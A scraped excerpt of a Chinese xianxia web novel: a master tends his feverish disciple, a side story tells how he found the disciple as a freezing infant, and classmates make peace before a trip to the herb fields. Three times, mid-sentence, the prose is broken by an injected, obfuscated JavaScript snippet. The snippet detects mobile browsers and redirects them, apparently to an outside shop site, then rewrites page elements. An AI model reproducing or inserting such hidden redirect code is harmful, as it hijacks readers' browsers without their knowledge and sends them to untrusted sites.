容归伸手扶住他倒过来的身子,手臂稳稳地环住,低头看着怀里笑得花枝乱颤的小徒弟,眼底漾开一层极淡的笑意。 孟清涯笑够了,从容归怀里起来,擦了擦眼角笑出来的泪花,又把腰间的香囊拿起来看了看,爱不释手地摸了两下。 “那我可记住了,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399995|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟清涯弯起眼睛,语气里带着几分认真的狡黠,“师尊说了‘并无不可’,以后每天都要有礼物,不许赖账。” 容归微微颔首:“嗯。” 孟清涯得了这个字,整个人都像是被泡进了蜜罐子里,甜得浑身发软。 * 用过晚膳,孟清涯窝在榻上翻了几页书便觉得困意上来了。他把书册合上放在一旁,打了个小小的哈欠钻进被子里。 “师尊,晚安。”孟清涯含含糊糊地说了一句便闭上了眼睛。 容归坐在榻边,抬手将榻旁那盏灯的灯芯拨了拨,烛火跳了一下,光线暗了几分。 “晚安。”容归轻声说道。 孟清涯很快就睡着了。容归坐在榻边看了一会儿,确认他已经睡熟了站起身来准备离开。 他刚转过身,身后便传来一阵窸窣的声响。 容归回过头,看见孟清涯在被子里面翻了个身,把被子蹬开了一角,露出一截白皙的小臂。 他的眉头微微蹙着,嘴唇抿了抿,像是在梦里遇到了什么不太舒服的事情。 容归走回去,小心翼翼地把被子重新盖好。可他刚转身,孟清涯又把被子蹬开了,这一次比方才更用力,整条手臂都露在外面,嘴里含含糊糊地嘟囔了一声。 “……热……” 容归的脚步顿住了。他转过身,走回榻边低头看着孟清涯。 孟清涯的脸颊上浮着一层薄薄的粉色,额角渗出细密的汗珠,眉头蹙得更紧了,呼吸比方才急促了几分。 他在被子里面不安地动了动,像是被什么东西困住了,怎么都找不到一个舒服的姿势。 容归抬起手,指尖凝出灵力,轻声念了几句清心静神的咒文。 孟清涯的眉头慢慢地松开了。他的手从被子里面伸出来,在榻上摸索了一下碰到容归搭在榻边的手,便像是找到了什么依靠似的紧紧地攥住。 容归没有抽开手,就着那个姿势在榻边坐下来。 不对劲……最近水水身上不对劲的地方越来越多,还有那股莫名其妙的莲香。 到底是怎么回事?会和水水的死有关吗? 15.番外 容归是在一个大雪纷飞的冬天捡到的孟清涯。 当时他被一块破旧的粗布裹着,露在外面的小脸冻得发紫,嘴唇乌青,眼睛紧紧闭着,睫毛上结了一层薄薄的霜。若不是胸口还有极其微弱的起伏,容归几乎要以为这已经是一具冻僵的尸体。 活了几万年,容归见过了无数尸骸与惨剧,他本不该对此常见一幕动容。可他沉默片刻,终是走了过去俯下身将那团小小的孩子捞了出来。 孩子轻得不像话。 容归一只手就能将他整个托住,另一只手甚至不知道该往哪里放,既怕用力了会弄疼他,又怕不用力他会滑下去。 他低头看着怀里的小东西,那孩子像是感受到了什么,在昏迷中微微动了一下,皱巴巴的小脸往容归的胸口蹭了蹭,像是在寻找什么温暖的东西。 容归僵了一瞬,解下外袍将孩子裹住,转身踏入了风雪中。 回到寒镜山,容归将孩子放在榻上仔细检查了一遍,那已经称得上是几块破布的衣服内侧刻了三个小小的字——孟清涯。 孟清涯被冻得太久了,体温低得吓人,若再晚半个时辰发现便是神仙也救不回来。 容归以灵力护住他的心脉,又熬了一碗米粥。他将粥盛在碗里,坐在榻边看着那个被锦被裹着的小小一团,忽然发现自己面临着一个前所未有的难题——他不会喂孩子。 容归端着碗沉默了很久,最后伸出手小心翼翼地用勺子舀了一小口粥送到孟清涯嘴边。 孟清涯没有反应。容归又等了一会儿,孟清涯像是闻到了粥的香气,小鼻子微微耸动了两下,嘴唇本能地张开了一点。 容归连忙将那勺粥喂进去,动作又快又准,可力道却没掌握好,勺子磕在孟清涯的嘴唇上,粥洒了一些出来,顺着嘴角往下淌。 容归的手顿住了。 孟清涯被这一下弄醒了,迷迷糊糊地睁开眼睛。那是容归第一次看见那双眼睛——黑亮亮的,像两颗浸在泉水里的黑葡萄,里面盛着满满的迷茫和懵懂。他看着容归,眨了眨眼,又眨了眨眼,然后“哇”的一声哭了出来。 容归端着碗僵住了,完全不知道该做什么。 “别哭了。”容归严肃地说。 他的声音不大却威严十足,若换做面对修真界的人,听到这样一句话怕是连大气都不敢喘。 可是孟清涯却哭得更凶了。 容归:“……” 容归将碗放在一旁,伸出手试探性地将孟清涯从锦被里捞起来抱进怀里。他的手生疏得很,不知道该托哪里,该放哪里,姿势僵硬得像一截木头。 孟清涯被他抱起来之后哭得更大声了,小拳头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404594|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在空中乱挥,一下一下地砸在容归的胸口上。 容归低头看着那颗乱拱的小脑袋,眉头紧皱。 然后他做了一件他从未做过的事——伸出手轻轻地笨拙地拍了拍孟清涯的背,每一下都小心翼翼。 孟清涯的哭声慢慢地小了,变成了抽噎,又从抽噎变成了哼哼,最后安安静静地趴在容归肩头,小脑袋歪着,呼吸一下一下地拂在容归的脖颈上。 孟清涯在容归怀里安安稳稳地睡了一整夜,容归就那样抱着他在榻边坐了一整夜。 天亮的时候,孟清涯醒了。他睁开眼睛,那双黑亮亮的眸子定定地看着容归看了好一会儿,然后咧开嘴露出一个灿烂的笑。 容归看着那个笑容,心中像是被什么东西击了一下,有些恍惚。 “你可愿做我的弟子?”容归问道。 孟清涯听不懂,只是歪着脑袋看他又笑了笑。他的小手从容归衣领上松开,伸过去摸容归的脸。 那只小手凉凉的,软软的,在容归的脸颊上拍了两下,然后心满意足地缩回去打了个小小的哈欠。 容归看着那孩子,嘴角微微翘起一个极淡的弧度。 不回答,那我便当你默认了。 容归并不知道,从这一刻起他几万年的孤独岁月便注定要被这个小东西搅得天翻地覆了。 16.第十六章 第二日,孟清涯站在讲堂门口深吸了一口气,缓步走了进去。 讲堂里的声音没有消失。 孟清涯愣了一下。昨日他一出现那些那些弟子便像是被人用法术禁锢住了不再说话,可今日弟子们依旧三三两两地凑在一起聊天。 没有人刻意压低声音,没有人飞快地坐回去,没有人用那种小心翼翼、避之不及的目光看他。 孟清涯眨了眨眼,有些茫然地站在门口,一时竟不知道该往哪里走。最后他还是决定就坐昨日那个地方,低着头往角落走。 他的脚步比昨日轻快了几分,银铃叮叮当当地响着,在讲堂里清脆又欢快。 孟清涯刚走到角落的蒲团旁边,还没来得及坐下旁边就传来一阵脚步声。 一转头,便看见宁尘渊站在他两步远的地方,垂着眼嘴唇抿得死紧,那张清俊的脸上一阵红一阵白,像是憋了一肚子的话却不知道怎么开口。 孟清涯歪了歪头,有些疑惑地看着他:“宁尘渊?你怎么过来了?” 宁尘渊没有立刻回答,背脊挺直地站在那里。 孟清涯等了片刻,见他还是不说话正准备转身坐下,宁尘渊忽然开口了。 “之前……是我失言了。” 孟清涯愣住了。 宁尘渊的目光落在他脸上,眼睛里带着几分不自在的窘迫,整个人透着一股别扭劲儿。 “我不该说你很像笨蛋,呆呆的,”宁尘渊的声音压得很低,低到只有孟清涯一个人能听见,“也不该用那种语气同你说话,抱歉。” 孟清涯歪着头看了宁尘渊一会儿,看得宁尘渊的耳尖越来越红,最后几乎要滴血。他忽然觉得有些好笑,嘴角不自觉地翘起来一点。 “你……没事吧?”孟清涯试探着问,“是不是有人逼你来的?” 宁尘渊:“没有。” “我才不信,”孟清涯撇撇嘴,“就你这比牛还犟的脾气,怎么可能自己想通过来道歉?” 宁尘渊:“……” “不过我原谅你了,”孟清涯摆摆手,“毕竟你这个人只是有时候说话不中听,本公子大人有大量,勉为其难的包容一下吧。” 说这话时孟清涯的表情带着几分骄矜和得意,眼尾微微上挑,鼻子里也轻轻哼了一下。 任谁看见他这副样子都生不出半分不好的心思来,宁尘渊也不再与他多加争辩,转过身大步流星地走回了自己的座位,动作快得像是在逃离什么。 孟清涯看着他的背影,终于没忍住“扑哧”一声笑了出来。 他这一笑,讲堂里好几个弟子都转过头来看他。孟清涯连忙捂住嘴,低下头假装什么都没有发生过,可他的肩膀还在微微地抖,眼角弯弯的,分明是笑得停不下来的模样。 笑够了,孟清涯才感觉到有些不对劲。 怎么这些弟子今日看他的眼神没那么奇怪?是已经接纳他了吗? * 宁尘渊确实不是被人逼过来的,不过他也是受到沈惊蛰的点拨之后才知道自己犯了什么错。 昨日夜里,寒镜山,东脉。 宁尘渊回到自己住处的时候天色已经彻底暗了下来。他在榻边坐了一会儿,脑子里翻来覆去地想着孟清涯今日的表现,越想越觉得烦躁。 就在他烦躁得快要爆炸的时候,门外传来了一阵敲门声。 “宁师弟,你睡了吗?” 是沈惊蛰的声音。 宁尘渊走过去开了门。沈惊蛰站在门口,手里端着一碗热汤,脸上挂着温和的笑。 “师兄见你晚上没去用膳,便给你送了一碗过来,”沈惊蛰说着,目光在宁尘渊脸上扫了一圈,笑意微微顿了一下,“你脸色不太好,可是哪里不舒服?” 宁尘渊摇了摇头,接过汤碗,侧身让沈惊蛰进来。沈惊蛰也不客气,在桌边坐下,看着宁尘渊把那碗汤喝完,才慢悠悠地开口。 “说吧,出什么事了?” 宁尘渊端着空碗的手顿了一下:“没什么。” 沈惊蛰看着他没有说话。 宁尘渊沉默了片刻,把这几日发生的事情一五一十地说了出来。 他说完之后,静室之中安静了好一会儿。 沈惊蛰端起桌上的茶盏抿了一口,语气依旧是那种不急不慢的温和:“宁师弟,你真是个笨蛋。” 宁尘渊的眉头立刻就皱起来了:“师兄何出此言?我并非愚笨之人。” 沈惊蛰挑了挑眉:“是吗?你也知道被人这样说很不高兴啊。” 宁尘渊一愣,半晌才小声回答:“我……我并无恶意。” “我知道你没有恶意,”沈惊蛰说,“可你没有恶意,不代表别人不会难受。” 宁尘渊沉默了。沈惊蛰端起茶盏又抿了一口,忽然话锋一转:“宁师弟,有件事我想问你。” “什么?” “今日你对孟公子的不满情绪,是不是持续太久了?” 宁尘渊的脸色微微一变,他今日的火气是有点重,孟清涯不过就是没跟他坐在一起而已,自己居然生了一整天的气不说回来后还一直黑着脸,明明平常他并非是一个控制不住自己脾气的人。 “学塾里的其他弟子是不是也不怎么待见孟公子?”沈惊蛰继续问。 宁尘渊点了点头:“他们说孟公子娇贵,要离他远点之类的。” “我明白了,”沈惊蛰起身摸了摸他的头,“宁师弟早点休息吧,明日好好去和孟公子道个歉。” 宁尘渊嗯了一声。 * 没等孟清涯深究这些弟子们今日对他的态度为何不一样,讲堂外面就传来了一阵脚步声。 教他们灵植知识的李长老走了进来,脸上露出一丝难得的笑意。 “诸位,今日的课业有些变化,”李长老的声音不急不缓,“你们整日待在这讲堂里怕是也有些腻了,今日咱们换个地方。” 弟子们纷纷抬起头来,面露好奇之色。 李长老笑眯眯地说:“今日去南脉的药田。那里种了不少灵植灵药,正值采收的时节,你们正好去实地辨认辨认,顺便搭把手帮帮忙。” 此言一出,讲堂里顿时炸开了锅。 “去药田?真的吗?” “我还没去过南脉的药田呢,听说那里种了好多稀有的灵药!” “别说你了,那个地方也只有入门好几年的南脉弟子才能进去,我们新入门的南脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411179|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟子也没资格去。” “今日也真是奇了,居然会让我们去帮忙。” “要帮忙采摘吗?会不会很难啊?” 弟子们七嘴八舌地议论起来,脸上都带着兴奋的神色。李长老抬手压了压,示意他们安静。 待声音小下去之后他才继续道:“帮忙采摘灵药自然不是让你们白干的。按工价给予灵石报酬,摘多少算多少,多劳多得。” 这话一出,讲堂里的气氛更加热烈了。这些新弟子当中有不少来自普通家庭,灵石对他们来说可不是小数目。能一边学习一边赚灵石,这种好事上哪儿找去? 孟清涯的眼睛也亮了起来。 他倒不是在意那些灵石。师尊给他的储物戒指里灵石堆得像小山一样高,他这辈子都用不完,但是他也从未体验过亲手赚灵石的感觉。 如今有机会去药田,还能亲手采摘灵药,孟清涯光是想想就觉得心里痒痒的。 李长老已经开始讲注意事项了:“南脉的药田分为三个区域,外区、中区和内区。外区的灵药年份浅,药性温和,适合新手采摘,这就是你们的活动范围了,其他两个区你们就别想着进去。” 弟子们纷纷点头,一个个摩拳擦掌,跃跃欲试。 李长老说完注意事项便领着众弟子出了讲堂,一行人浩浩荡荡地穿过学塾的走廊。 此时正是下午日头最盛的时候,阳光刺射过来,孟清涯下意识抬手挡了挡。 不曾想这阵阳光也刚好把他镯子上的小白蛇惊醒了。 小白蛇从镯子上微微抬起头来,琥珀色的眼睛被日光刺得眯了眯,细长的蛇信轻轻吐了一下。它似乎还没完全清醒,脑袋晃了晃,身体从镯子上松开,顺着孟清涯的手腕往上爬了一小段,找了个被袖子遮住的阴凉处又不动了。 孟清涯被它这一串动作惊了一下,低头看见小白蛇蔫蔫地趴在自己腕间,心中一软,伸出手用指尖轻轻摸了摸小白蛇的脑袋。 “被太阳晃醒了?”孟清涯小声说,声音软得像是在哄孩子,“没事没事,继续睡吧。” 小白蛇没有动,眼睛半睁半闭着,尾巴尖却微微翘了一下,像是在回应他的抚摸。 孟清涯见它这副模样忍不住弯起眼睛笑了笑,又用指腹轻轻蹭了蹭它的头顶才把手收回来,继续跟着队伍往前走。 他没有注意到,在他指尖触摸到小白蛇的那一瞬间,蛇躯之中多了一道神识。 * 容归今日并非刻意为之,他只是……恰好想看看水水在做什么,便将自己的神识移到了蛇躯之中。 神识落定的那一瞬间,容归最先感受到的是一阵温柔的触感。 孟清涯的指尖从他的头顶轻轻拂过,力道轻得像是一片羽毛落在水面上,但是那触感透过蛇躯的鳞片传过来却像是被放大了无数倍,清晰无比,引起一阵酥麻。 那感觉太过清晰,清晰到容归几乎要以为那只手不是摸在蛇身上,而是直接摸在了他的神魂上。 容归垂下眼,将那些乱七八糟的念头压下去,他真的只是想来看看水水佩戴了解药之后今日是否还有被人排挤,看看他在做什么。 可水水方才摸他那几下,实在是……